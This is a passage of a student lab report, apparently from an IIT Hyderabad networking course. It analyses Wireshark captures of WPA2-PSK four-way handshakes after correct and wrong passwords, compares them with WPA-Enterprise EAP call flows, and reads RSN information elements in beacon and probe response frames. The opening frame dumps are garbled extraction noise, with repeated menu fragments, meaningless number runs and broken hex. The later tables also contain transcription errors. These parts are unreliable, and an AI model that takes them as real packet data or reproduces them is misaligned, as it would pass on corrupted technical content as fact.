Frame 235: 78 bytes Free 802.11 (05 Data) > Data (44 bytes) Activities Wireshark File 802.11 (05 Data) > Data (44 bytes) Activities Wireshark File 602 (19 View Go (patter) Wireshark Wind al = 603 (22 0) and fe Wind al = 603 (22 0) and fe Wireshark 1550 (28 0) 6023 (1557 (28 0) 6023 (1557 (28 0) 6023 (1557 (28 0) 6023 (1557 (28 0) 6023 (1557 (28 0) 602 (1557 (28 0) 602 (28 0) 602 (1557 (28 0) 602 (28 0) 602 (1557 (28 0) 602 (28 0) 602 (1557 (28 0) 602 (1557 (28 0) 602 (1557 (28 0) 602 (155 0) (156 0) (28 0) 602 (155 0) (156 0) (28 0) 602 (155 0) (156 0) (28 0) (156 0) (28 0) (156 0) (28 0) (156 0) (28 0) (156 0) (28 0) (156 0) (28 0) (156 0) (28 0) (156	on wire (624 bits), 76 , Flags: , pT b. Connec Analyze Statistics Telephon Construction C	bytes captured (624 b) ecting with ecting with extension	Protocol 802 (* 11) Protocol 802 (11) 802	Dig Password sda 19 or PARTE_ITH_CUEST_T Carget 102 102 102 102 102 102 102 102	0000 88 41 30 60 7c 95 7c 0 10 83 60 22 25 a9 76 20 -A 0000 60 95 60 60 20 60 50 60 00 60 50 60 00 20 00 60 50 60 00 60 50 60 00 60 50 60 00 60 50 60 00 60 60 60 60 60 60 60 60 60 60 60	f:@
Frame 335: 78. bytes Free 802.11 (05 Data) > Data (44 bytes) Activities ✓ Wireshark File 802.11 (05 Data) > Data (44 bytes) Activities ✓ Wireshark File 61 View Go Capture I winn da - Gi 220:30.65 fe 1557 28.061023 2055 809.07243 2056 809.07243 <tr< td=""><td>on wire (624 bits), 78 , Flags: , p</td><td>bytes captured (624 b ecting with a Wreless Tools Help a Wrele</td><td>Comparison of the second second</td><td>Length Identification Time to live 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 103 102 102 104 102 102 105 105 105 105 105 105 105 105 105 105 105 105 105 105</td><td>6000 88 41 30 60 7c 95 7c 0 10 83 60 25 25 a 9 76 20 -A 6000 60 95 60 60 50 60 95 60 90 80 50 80 50</td><td>f.e.θ. Du M]. ⊐ ≪ Ψ Ψ</td></tr<>	on wire (624 bits), 78 , Flags: , p	bytes captured (624 b ecting with a Wreless Tools Help a Wrele	Comparison of the second	Length Identification Time to live 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 102 103 102 102 104 102 102 105 105 105 105 105 105 105 105 105 105 105 105 105 105	6000 88 41 30 60 7c 95 7c 0 10 83 60 25 25 a 9 76 20 -A 6000 60 95 60 60 50 60 95 60 90 80 50 80 50	f.e.θ. Du M]. ⊐ ≪ Ψ Ψ
Frame 335: 78. bytes Free 802.11 GoS Data, IFEE 802.11 GoS Data, Data (44 bytes) Activities Wireshark File Bit View Go Capture File Bit View Go Capture Wireshark File Bit View Go Capture File Bit View Go	on wirre (624 bits), 78 , Flags: , p	bytes captured (624 b ecting with	Protecti Protecti 802 11 802 11 80	Description Descr	0000 88 413 00 07 05 57 00 10 83 64 22 25 a3 76 20 -A 0000 88 413 00 07 05 57 00 10 83 66 25 00 00 00 00 00 00 00 00 00 00 00 00 00	rf:@ Mu.]. α ⊗
Frame 235: 78. bytes Free 802.11 (05 Data) > Data (44 bytes) Activities ✓ Wireshark File 802.11 (05 Data) > Data (44 bytes) Activities ✓ Wireshark File 602.11 (05 Data) File 502 (05 Data) Image: State 100 (05 Data)<	on wire (624 bits), 78 , Flags: , p	bytes captured (624 t ecting with ecting with wireless tools telep wireless tools telep wireless tools telep wireless tools telep wireless tools telep wireless tools telep wireless tools telep teleptote telept	Comparison of the second	Ang Password Star 19 of PARTD_ITH_CUEST_I Content of the live 102 102 102 102 102 102 102 102	554 ••••• ••••• ••••• 554 •••••• •••••• •••••••• ••••••••••••••••••••••••••••••••••••	(T)

10. Entering Wrong Password while connecting to IITH Guest Wi-Fi Network a. Connecting with Correct Password

c. Difference between them

XiaomiCo 0a:fd:fe

3360 83.75577

c0:1c:93

As we can see from the two screenshots above, in the case of failure of password authentication in IITH-Guest we are only receiving Msg1 and Msg2 whereas in the successful authentication we are receiving all four messages from 1 to 4 which is because Msg1 is sent from AP to client and Msg2 is sent from client to AP which contains the MIC. Incase of failure, this message integrity code is not validated at the AP because of which the AP sends a deauthentication msg to the client and connection fails.

N=2398, FN=0, Flags=



d. Difference of call flows between IITH-Guest and IITH Wi-Fi Network

The IITH Wi-Fi network works on WPA-Enterprise whereas the IITH-Guest Network works on the WPA-PSK. The call flow of the IITH Wi-Fi Network includes:

- 1. Probe Request and Response
- 2. (NULL) Authentication Request and Response
- 3. EAP Request and Response
- 4. EAP-TLS 4 way handshake (Client and Server Authentication) and EAP Success
- 5. EAPOL-Key 4-way Handshake (Exchange of PTK)

Whereas, in the WPA2-PSK which is installed in IITH-Guest Network we won't have verification based on an Authentication Server (AS), there will only be MIC verification during Key handshake. So, to the same call flow as above, the IITH-Guest network lacks the 4th (EAP-TLS 4 way handshake (Client and Server Authentication) and EAP Success) call flow. This is verified by looking at the screenshot of the successful handshake of IITH-Guest Network.



11. Analyze RSN IE in beacon and probe responses

a. Beacon Frames

Activities 🖉 Wireshark 🔻					अप्रैल 19 08	:14						۲ 🕘	୬ ♦ ♦ 🕯 🔻
					PartA_3.pc	ap							- • 😣
<u>File Edit View Go Capture A</u>	Analyze Statistics Telephony	<u>W</u> ireless <u>T</u> ools <u>H</u> elp											
	🕈 🚺 🍳 🗢 🛸 警	▲ ■	Q Q 🎹										
wlan.ssid == "ES18BTECH11019)"												+
No. Time	Source	Destination	Protocol	Length Identification	Time to live	Info							-
73361 414.719494	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1690, FN=	=0, Flag	s=	C, BI=100,	SSID=ES18B	TECH11019		
73371 414.821902	3e:/a:d/:23:2d:28 3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1691, FN= Beacon frame SN=1692 EN=	=0, Flag =0 Elag	s= e=	C, BI=100, C BI=100	SSID=ES18B	TECH11019		
73373 415.026705	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1693, FN=	=0, Flag	s=	C. BI=100,	SSID=ES18B	TECH11019		
73385 415.129141	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1694, FN=	=0, Flag	s=	C, BI=100,	SSID=ES18B	TECH11019		
73393 415.232734	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1695, FN=	=0, Flag	s=	C, BI=100,	SSID=ES18B	TECH11019		
73407 415.333906	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1696, FN=	=0, Flag	s=	C, BI=100,	SSID=ES18B	TECH11019		
73486 415.436296	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1697, FN=	=0, Flag	s=	C, BI=100,	SSID=ES18B	TECH11019		
73531 415.541405	3e:/a:u/:23:2u:28 3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1698, FN= Beacon frame SN=1699 EN=	-⊍, ⊢⊥ag =0 Elag	s= s=	C, BI=100, C BI=100	SSID=ES188	TECH11019		
73551 415.743492	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1000, FN=	=0, Flag =0. Flag	s=	C. BI=100,	SSID=ES18B	TECH11019		
73552 415.845978	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1701, FN=	=0, Flag	s=	C, BI=100,	SSID=ES18B	TECH11019		
73557 415.948316	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1702, FN=	=0, Flag	s=	C, BI=100,	SSID=ES18B	TECH11019		
73566 416.023367	3e:7a:d7:23:2d:28	36:7d:6a:52:64:11	802.11	284		Probe Response, SN=1703, F	=N=0, Fl	ags=	C, BI=10	0, SSID=ES1	8BTECH1101	.9	
73576 416.051011	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1704, FN=	=0, Flag	s=R	C, BI=100,	SSID=ES18B	TECH11019		
73632 416 255520	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame SN=1705, FN-	=0, Fiag =0 Elag	s= s=	C BT=100,	SSTD=ES188	TECH11019		
73646 416.361302	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame, SN=1707, FN=	=0, Flag	s=	C, BI=100,	SSID=ES18B	TECH11019		
4		- • •					*						P P
Extended Support	ted Rates: 54 (0x6c)						^	0000	00 00 38 00	2f 40 40 a0	20 08 00	a0 20 08 00 00	· · 8 · /@@ ·
	ion						_	0010	3a 1c 5f 33	00 00 00 00	10 02 85	09 a0 00 e0 00	:3
Tag Number: RSN	Information (48)							0020	00 00 00 00	00 00 00 00 de 00 e0 01	4e 83 5t	33 00 00 00 00 00 ff ff ff ff	· · · · · · · · · · · ·
PSN Version: 1								0040	ff ff 3e 7a	d7 23 2d 28	3e 7a d7	23 2d 28 60 6a	· · >z · #-(>
* Group Cipher Sui	ite: 00:0f:ac (Teee 80	2.11) AES (CCM)						0050	00 30 bc 3b	19 00 00 00	64 00 31	14 00 Of 45 53	· · · ; · · · · ·
Group Cipher	Suite OUI: 00:0f:ac ()	Leee 802.11)						0060	31 38 42 54	45 43 48 31	31 30 31	39 20 01 04 82	18BTECH1 1
Group Cipher :	Suite type: AES (CCM)	(4)						0070	84 8b 96 03	01 06 05 04	00 02 00	00 3b 04 0c 53	т. * 2
Pairwise Cipher	Suite Count: 1							0090	14 01 00 00	0f ac 04 01	00 00 0f	ac 04 01 00 00	1
 Pairwise Cipher 	Suite List 00:0f:ac (Ieee 802.11) AES (CC	M)					00a0	0f ac 02 0c	00 2d 1a ad	01 13 ff	ff 00 00 00 00	
Auth Key Manager	ment (AKM) Suile Count ment (AKM) List 00.0f	.: I ac (Teee 802 11) PSK						00b0	00 00 00 00	00 00 00 00	00 00 00	00 00 00 00 00	· · · · · · · · · · ·
Auth Key Manager	gement (AKM) Suite: 00	0:0f:ac (Ieee 802.11)	PSK					0000	00 3d 16 06	00 04 00 00	00 00 00	00 00 00 00 00 00 50 f2 02 01	.=
 RSN Capabilities 	s: 0x000c	,						00e0	01 81 00 03	a4 00 00 27	a4 00 00	42 43 5e 00 62	
	0 = RSN Pre-Auth	capabilities: Transm	itter does	not support pre-authe	ntication			00f0	32 2f 00 bf	0c 92 79 81	33 fa ff	62 03 fa ff 62	2/y. 3
	0. = RSN No Pairw:	ise capabilities: Tra	nsmitter ca	n support WEP default	key 0 simu	ltaneously with Pairwise key	/	0100	03 c0 05 00	00 00 fa ff	c3 02 00	3c 7f 08 04 00	
	A TILL - RON PIRSA REL	play Counter capabili	ties: 10 rep	lav counter per PIK	CTKSA/STA	AKEYSA (UX3)		0110	dd 0a 00 00	00 40 00 08 f2 06 01 01	8C TO TO	01 01 02 01 00 00 ef ab 65 bf	
	= Management F	rame Protection Regui	red: False	tay counter per Pikok	/ 01K3A/ 31AK	Cy3A (0x0)		0120	uu oa oo 17	12 00 01 01	05 01 00	00 01 40 05 51	
O	= Management F	rame Protection Capab	le: False										
	= Joint Multi-	oand RSNA: False											
	= PeerKey Enab.	led: False											
- Tag: HT Canabiliti	= Extended Key	ID FOR INDIVIDUALLY	Addressed F	rames: Not supported									
Tag Number: HT (Capabilities (802.11n	D1.10) (45)											
Tag length: 26		/ / - /											
HT Capabilities	Info: 0x01ad												
L Δ-MPDII Parameter	re: Av12												

b. Probe Responses

No. The second proces Description Provide it is product to product t	(Minin	5510 E51057ECH1105																·
737 415.626769 367,117,23,212.8 Broadcast 802,11 384 Bescon Trane, Skillaß, Feb, Flagst	No.	Time	Source	Destination	Protocol	Length Identification	Time to live	Info										A
7 358 415.12944 Be:7:17:23:2438 Broadcast BE2.11 384 Beccon Frame, Skettide, Fred, Flags C. 61:400, SSID=SSIDETCAILIDSP 7 358 415.29244 Beccon Frame, Skettide, Fred, Flags C. 61:400, SSID=SSIDETCAILIDSP Fred, Flags C. 61:400, SSID=SSIDETCAILIDSP 7 358 415.240249 B:7:107:23:23:18 Broadcast B02.11 384 Beccon Frame, Skettide, Fred, Flags C. 61:400, SSID=SSIDETCAILIDSP 7 358 415.240249 B:7:107:23:23:18 Broadcast B02.11 384 Beccon Frame, Skettide, Fred, Flags C. 61:400, SSID=SSIDETCAILIDSP 7 355 415.74049 B:7:107:23:23:18 Broadcast B02.11 384 Beccon Frame, Skettide, Fred, Flags C. 61:400, SSID=SSIDETCAILIDSP 7 355 415.74049 B:7:107:23:23:18 Broadcast B02.11 384 Beccon Frame, Skettide, Fred, Flags C. 61:400, SSID=SSIDETCAILIDSP 7 355 415.74049 B:7:107:23:23:18 Broadcast B02.11 384 Beccon Frame, Skettide, Fred, Flags C. 61:400, SSID=SSIDETCAILIDSP 7 355 415.74049 B:7:107:23:23:18 Broadcast B02.11 384 Beccon Frame, Skettide, Fred, Flags C. 61:400, SSID=SSIDETCAILIDSP 7 355 415.740492 B:7:107:23:23:18 Broadcast		73373 415.026705	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame,	SN=1693,	FN=0, I	Flags=	C,	BI=100,	SSID=ES18	BTECH11019)		
7383 415.22734 Bernadcast 002.11 304 Beccon Frame, Sk=1065, Feb, Flags:		73385 415.129141	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame,	SN=1694,	FN=0, I	Flags=	C,	BI=100,	SSID=ES18	BTECH1101			
7 347 45.33906 38:74:77:32:22:8 Broadcest 88:11 384 Beacon Trane, Sti-106, Fher, Flags, C, B1-36, SSI-5538FECH1319 7 346 415.4202 8:74:77:32:22:8 Broadcest 88:11 384 Beacon Trane, Sti-106, Fher, Flags, C, B1-36, SSI-5538FECH1319 7 355 415.6407 8:74:77:32:22:8 Broadcest 88:21:1 384 Beacon Trane, Sti-106, Fher, Flags, C, B1-36, SSI-5538FECH1319 7 355 415.6407 8:74:77:32:22:8 Broadcest 88:21:1 384 Beacon Trane, Sti-106, Fher, Flags, C, B1-36, SSI-5538FECH1319 7 355 415.6407 8:74:77:32:22:8 Broadcest 88:21:1 384 Beacon Trane, Sti-76, Her, Flags, C, B1-36, SSI-5538FECH1319 7 355 415.6407 8:74:77:32:22:8 Broadcest 88:21:1 384 Beacon Trane, Sti-76, Her, Flags, C, B1-36, SSI-5538FECH1319 7 355 415.6407 8:74:77:32:22:8 Broadcest 88:21:1 384 Beacon Trane, Sti-76, Her, Flags, C, B1-36, SSI-5538FECH1319 7 355 415.6407 8:74:77:37:23:22:8 Broadcest 88:21:1 384 Beacon Trane, Sti-76, Her, Flags, C, B1-36, SSI-5538FECH1319 7 355 415.6407 8:77:73:72:72:8 Broadcest 88:21:1 384 Beacon Trane, Sti-76, Her, Flags, C, B1-36, SSI-5538FECH13		73393 415.232734	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame,	SN=1695,	FN=0, I	Flags=	C,	BI=100,	SSID=ES18	BTECH1101	3		
7486 415.48298 as:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:167, NHP, Flags:, C, B130, SSDDESISHED10199 7353 415.74248 as:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:167, NHP, Flags:, C, B130, SSDDESISHED10199 7353 415.74248 as:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:170, NHP, Flags:, C, B130, SSDDESISHED10199 7353 415.74248 as:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:170, NHP, Flags:, C, B130, SSDDESISHED10199 7355 415.4403 as:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:170, NHP, Flags:, C, B130, SSDDESISHED10199 7355 415.4403 as:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:170, NHP, Flags:, C, B130, SSDDESISHED10199 7355 415.5403 as:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:170, NHP, Flags:, C, B130, SSDDESISHED10199 7356 416.5557 as:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:170, NHP, Flags:, C, B130, SSDDESISHED10199 7365 415.5403 as:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:170, NHP, Flags:, C, B130, SSDDESISHED10199 7365 416.65547 s:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:170, NHP, Flags:, C, B130, SSDDESISHED10199 7365 416.65547 s:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:170, NHP, Flags:, C, B130, SSDDESISHED10199 7365 416.65547 s:rar(7:23:22:28) Broadcast 082.11 384 Beacon True, St:170, NHP, Flags:, C, B130, SSDDESISHED10199 7365 416.65547 s:		73407 415.333906	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame,	SN=1696,	FN=0, I	Flags=	C,	BI=100,	SSID=ES18	BTECH1101	Э		
7351 45.54146 Beradcast Boradcast Boradcast<		73486 415.436296	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame,	SN=1697.	FN=0, I	Flags=	c.	BI=100,	SSID=ES18	BTECH1101	э		
7354 45. 64169 Bir 26, 723 223 28 Broadcast B02.11 B04 Beacon Frame, Bir 209, FHeb, Flags:		73531 415.541465	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame.	SN=1698.	FN=0. Ι	Flags=	c.	BT=100.	SSID=ES18	BTECH1101	a		
17351 415 - 74362 38:74672323232 Broadcast 802.11 384 Beacon Frame, SH:726, FNe6, Flags=		73549 415.641109	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame.	SN=1699	EN=0. 1	Flags=		BT=100.	SSID=ES18	BTECH1101			
1 3322 45.84059 38:7.407/332302.8 0 producate 002.11 304 Beacon Frame, SN-170, FH9, Flags, C, B1-10, SSID=SSID=SSID=SSID=SSID=SSID=SSID=SSID		73551 415 743492	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame,	SN=1700	EN=0.	Flags=	, C	BT=100	SSID=ES18	BTECH1101	a		
2357.415.948310 38:7.47/23.2322;28 producast 892.11 384 Beccon frame, SNE1726, FMS9, FLags C, B1:309, S1D:ES1B0TECH1019 7356.416.85101 38:7.467.23232628 Broadcast 802.11 384 Beccon frame, SNE1726, FMS9, FLags C, B1:309, S1D:ES1B0TECH1019 7356.416.85101 38:7.467.2323628 Broadcast 802.11 384 Beccon frame, SNE1726, FMS9, FLags C, B1:309, S1D:ES1B0TECH1019 7356.416.85101 38:7.467.2323628 Broadcast 802.11 384 Beccon frame, SNE1707, FMS9, FLags C, B1:309, S1D:ES1B0TECH1019 7365.416.65101 38:7.472.332628 Broadcast 802.11 384 Beccon frame, SNE1707, FMS9, FLags C, B1:309, S1D:ES1B0TECH1019 7365.416.65171 S17.772.37267 Broadcast 802.11 384 Beccon frame, SNE1706, FMS9, FLags C, B1:309, S1D:ES1B0TECH1019 7365.416.65171 Broadcast 802.11 384 Beccon frame, SNE1706, FMS9, FLags C, B1:309, S1D:ES1B0TECH1019 7365.416.65171 Broadcast 802.11 384 Beccon frame, SNE1706, FMS9, FLags C, B1:309, S1D:ES1B0TECH1019 7365.416.65172 Broadcast 802.11 804 Beccon frame, SNE1706, FMS9, FLags C, B1		73552 /15 8/5978	3e.7a.d7.23.2d.28	Broadcast	802.11	304		Beacon frame,	SN=1701	EN=0	Elane=	· · · · · o,	BT=100,	SSID=ES18	BTECH1101	a		
Product Science		73557 415 948316	3e.7e.d7.23.2d.28	Broadcast	802.11	304		Beacon frame,	SN=1701,	EN=0	Elane=	· · · · · o,	BT=100,	SSTD=ES18	BTECH1101	, a		
73576 44.0 65011 32:74:47:23:22:28 Broadcast 882:11 394 Becon frame, SH:176, Heck, Flags:, C, B1:e0, SSD-ESIBBTCH1109 73582 44.25552 32:74:07:23:22:28 Broadcast 882:11 394 Becon frame, SH:176, FHck, Flags:, C, B1:e0, SSD-ESIBBTCH1109 73582 44.25552 32:74:07:23:22:28 Broadcast 882:11 394 Becon frame, SH:176, FHck, Flags:, C, B1:e0, SSD-ESIBBTCH1109 7368 44.0503253 32:74:07:23:22:28 Broadcast 882:11 394 Becon frame, SH:176, FHck, Flags:, C, B1:e0, SSD-ESIBBTCH1019 7368 44.0503253 32:74:07:23:22:28 Broadcast 882:11 394 Becon frame, SH:176, FHck, Flags:, C, B1:e0, SSD-ESIBBTCH1019 7368 44.0503253 32:74:07:23:22:28 Broadcast 882:11 394 Becon frame, SH:176, FHck, Flags:, C, B1:e0, SSD-ESIBBTCH1019 7368 44.0503253 32:74:07:23:22:28 Broadcast 882:11 394 Becon frame, SH:176, FHck, Flags:, C, B1:e0, SSD-ESIBBTCH1019 7368 44.0503253 32:74:07:23:22:28 Broadcast 882:11 394 Becon frame, SH:176, FHck, Flags:, C, B1:e0, SSD-ESIBBTCH1019 7369 44.0503253 SE:70, FHck, Flags:, C, B1:e0, SSD-ESIBBTCH1019 SE:70, FHck, Flags:, C, B1:e0, SSD-ESIBBTCH1019		73566 416 023367	3e:7a:d7:23:2d:28	36.7d.6a.52.64.11	802.11	284		Probe Respons	e SN=176	3 EN=0	Elags=	,	C BI=100,		188TECH11	019		
72599 446.15357 Str2.47.272.2212.38 Broadcast 802.11 394 Beacon Frame, Str2.05, FNe0, Flags C, B1260, S310=S388ETCH1019 7362 446.463.93 Str2.47.472.2212.28 Broadcast 802.11 394 Beacon Frame, Str2.07, FNe0, Flags C, B1260, S310=S388ETCH1019 7362 446.439 Str2.47.472.2212.28 Broadcast 802.11 394 Beacon Frame, Str2.07, FNe0, Flags C, B1260, S310=S388ETCH1019 7362 446.439 Str2.47.472.212.28 Broadcast 802.11 394 Beacon Frame, Str2.07, FNe0, Flags C, B1260, S310=S388ETCH1019 7362 446.439 Str2.47.472.212.28 Broadcast 802.11 394 Beacon Frame, Str2.07, FNe0, Flags C, B1260, S310=S388ETCH1019 7362 446.6393 Str2.47.472.212.28 Broadcast 802.11 394 Beacon Frame, Str2.07, FNe0, Flags C, B1260, S310=S388ETCH1019 7362 446.6393 Str2.47.472.212.28 Broadcast 802.11 394 Beacon Frame, Str2.07, FNe0, Flags C, B1260, S310=S388ETCH1019 7362 446.6393 Str2.47.472.212.28 Broadcast 802.11 Str2.472.27 Str2.67 Str2.67 Str2.67 Str2.67 Str2.67 Str2.67 Str2.67 Str2.67 Str		73576 416 051011	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame	SN=1704	EN=0	Flags=	R C	BT=100	SSID=ES18	BTECH1101	a		
73632 416.35530 10:74.0f 21:23:21:28 Broadcast 802.11 304 Beacon frame, Sk-1706, FN-6, Flags:, C, B1-06, S10=S108ECK110195 73652 416.64339 30:74.0f 21:23:21:28 Broadcast 802.11 304 Beacon frame, Sk-1706, FN-6, Flags:, C, B1-106, S10=S108ECK110195 73652 416.64339 30:74.0f 21:23:21:28 Broadcast 802.11 304 Beacon frame, Sk-170, FN-6, Flags:, C, B1-106, S10=S108ECK110195 73652 416.663251 30:74.0f 21:22:28 Broadcast 802.11 304 Beacon frame, Sk-170, FN-6, Flags:, C, B1-106, S10=S108ECK110195 73654 416.66327 30:74.0f 21:22:28 Broadcast 802.11 304 Beacon frame, Sk-170, FN-6, Flags:, C, B1-106, S10=S108ECK110195 73654 416.66327 30:74.0f 21:22:28 Broadcast 802.11 304 Beacon frame, Sk-170, FN-6, Flags:, C, B1-106, S10=S10ECK10195 73654 416.66327 30:74.0f 21:28:24 Broadcast 802.11 304 Beacon frame, Sk-170, FN-6, Flags:, C, B1-106, S10=S10ECK10195 73654 416.66327 30:74.0f 21:29:74 30:74.0f 21:29		72500 416 152679	20.70.d7.22.2d.20	Broadcast	902.11	304		Beacon frame,	SN=1704,	EN=0, 1	Flags=	. K C,	BI-100,	SSID=ESI0	PTECU1101	,		
73644 106.04339 20.7347/23232422 Broadcast 802.11 304 Beacon frame, Ski726, Pkeg, Flagst, C, Bi-106, SSDE-SSBRTCH11013 73653 16.046390 87.7347/23232422 Broadcast 802.11 304 Beacon frame, Ski726, Pkeg, Flagst, C, Bi-106, SSDE-SSBRTCH11013 73653 16.056177 827.7347/23232422 Broadcast 802.11 304 Beacon frame, Ski726, Pkeg, Flagst, C, Bi-106, SSDE-SSBRTCH11013 73653 16.056177 827.7347/2322422 Broadcast 802.11 304 Beacon frame, Ski726, Pkeg, Flagst, C, Bi-106, SSDE-SSBRTCH11013 73653 16.056177 827.7347/232422 Broadcast 802.11 304 Beacon frame, Ski726, Pkeg, Flagst, C, Bi-106, SSDE-SSBRTCH11013 73654 16.05617 827.717 827.747/23242 Broadcast 802.11 304 7365 40.01 82.51 Beacon frame, Ski726, Pkeg, Flagst, C, Bi-106, SSDE-SSBRTCH11013 806 806 80.83 80.80 80.94 80.94 80.94 80.94 80.94 80.94 80.94 80.94 80.94 80.94 80.94 80.94 80.94 80.94 80.94 80.94 80.94 80.94 <		72622 416 255520	20.72.d7.22.2d.20	Broadcast	902.11	304		Beacon frame,	SN-1705,	EN-0, 1	Flags=		BI-100,	SSID-ES10	PTECH1101	,		
Particle 30420 26174117/25214728 Production 002.11 304 Beacon Trane, Sk-17(0) Phicity Phicksterm		73032 410.233320	36.74.07.23.20.28	Broadcast	002.11	304		Beacon frame,	SN=1700,	FN=0, 1	F1ays=		BI-100,	331D-E310	DIECHIIOI	,		
9352 418 405399 0517110713212128 Broadcast 052.11 304 Beacon frame, SN=176, FH.G, FLags, C, B1-100, S310-E3108Tech11033 7 7 7 161.056347 351.0752.312128 Broadcast 062.11 304 Beacon frame, SN=176, FH.G, FLags, C, B1-100, S310-E3108Tech11033 7 7 7 61.056347 351.0752.312128 Broadcast 062.11 304 Beacon frame, SN=176, FH.G, FLags, C, B1-100, S310-E3108Tech11033 7 7 61.000 Cinber Suite 1001: 00:57 (ac (free 082.11) AES (CCM) - 0600 08 08 02 04 08 08 09 09 08 00 00 08 08 00 00 00 00 08 00 00 00		73040 410.301302	30:78:07:23:20:28	Broadcast	802.11	304		Beacon Trame,	SN-1707,	FN-0, I	Flags	· · · · · · · · ,	BI-100,	551D-E518	BIECHIIGI	/		
7 3000 410.06201 38:/Align.22:/Align.32:/Alig		73052 410.404390	3e:7a:07:23:20:28	Broadcast	802.11	304		Beacon frame,	SN=1708,	FN-0, I	Flags=	,	BI=100,	SSID=ESI8	BIECHIIOIS	,		
7 3000 410. 0001/1 36: /41//22: /20: /20 BFCadcast B02.11 304 Beacon Trame, Sk=1/10, PH=9, FLags=		73653 416.563251	3e:/a:d/:23:2d:28	Broadcast	802.11	304		Beacon frame,	SN=1709,	FN=0, I	Flags=	c,	BI=100,	SSID=ES18	BIECH1101	3		
<pre></pre>		73660 416.665147	3e:7a:d7:23:2d:28	Broadcast	802.11	304		Beacon frame,	SN=1710,	FN=0, I	Flags=	C,	BI=100,	SSID=ES18	BIECH11019			
RSN Version: 1 - Group Cipher Suite 00:6fr.ac (Leee 802.11) AES (CCM) - 8.769 Group Cipher Suite Up: ASS (CCM) (4) - 8.769 Pairwise Cipher Suite 100: 68:06:1ac (Leee 802.11) AES (CCM) (4) Pairwise Cipher Suite 100: 68:06:1ac (Leee 802.11) AES (CCM) (4) Pairwise Cipher Suite 100: 68:06:1ac (Leee 802.11) AES (CCM) (4) Pairwise Cipher Suite 100: 68:07:ac (Leee 802.11) AES (CCM) (4) Pairwise Cipher Suite 100: 68:07:ac (Leee 802.11) AES (CCM) (4) Pairwise Cipher Suite 100: 68:07:ac (Leee 802.11) PAirwise Cipher Suite 100: 68:07:ac (Leee 802.11) Pairwise Cipher Suite 100: 68:07:ac (Leee 802.11) PAirwise Cipher Suite 100: 68:07:ac (Leee 802.11) Pairwise Cipher Suite 100: 68:07:ac (Leee 802.11) PAirwise Cipher Suite 100: 68:07:ac (Leee 802.11) Auth Key Management (AM) List 08: 67:ac (Leee 802.11) PSK * Auth Key Management (AM) List 08: 67:ac (Leee 802.11) PSK * Auth Key Management (AM) Upp: PSK (C2) PSN (C2) * RSN Graphilities: Transmitter can support pre-authentication Somultaneously with Pairwise (can) * Auth Key Management (AM) Suite 08: 67: 68: 68: 68: 68: 68: 68: 68: 68: 68: 68	4) F
 A HDU Parameters: 0x13 Rx Supported Modulation and Coding Scheme Set: MCS Set PartA_3.pcap Packets: 74083 · Displayed: 4297 (5.8%) Profile: Defail 	-	- Group Cipher Group Cipher Pairwise Cipne - Pairwise Cipne - Pairwise Cipne - Pairwise C Pairwise C - Pairwise C - Pairwise C - Auth Key Manag - Auth Key Mana	<pre>IIIE: 00:0f:ac (Ieee Suite OUI 00:0f:ac Suite type: AES (CCM 'Suite Count: 1 'Suite Count: 1 'Suite Count: 1 er Suite 0001: 00:0f:ac ber Suite 0001: 00:0f:ac ber Suite 0001: 00:0f:ac gement (AKM) Suite Cou ment (AKM) Suite cou ent (AKM) Suite Cou ment (AKM) Suite cou ent (A</pre>	802_11] AFS (CCM) (Ieee 802_11) AFS (CC IFaee 802_11) AFS (CC IFaee 802_11) AFS (CC IFaee 802_11) AFS (CC IFae (Ieee 802_11) AFS (CCM) (4) AFS (CCM) (4) AFS (2) AFS	() PSK)) itter does ansmitter c. ities: 16 r ities: 1 re ities: 1 re ities: 1 re ities: 1 re ities: 1 a Addressed 1	not support pre-authe an support WEP default play counter sper PTK play counter per PTKSA. Frames: Not supported	ntication key @ simu XA/GTKSA/STAK /GTKSA/STAK	ultaneously with AkeySA (0x3) keySA (0x0)	Pairwise	e key	0011 0022 0033 0044 0056 0056 0056 0056 0056 0066 0066	9 38 4 9 00 0 00 0 16 0 16 0 16 0 16 0 16 0 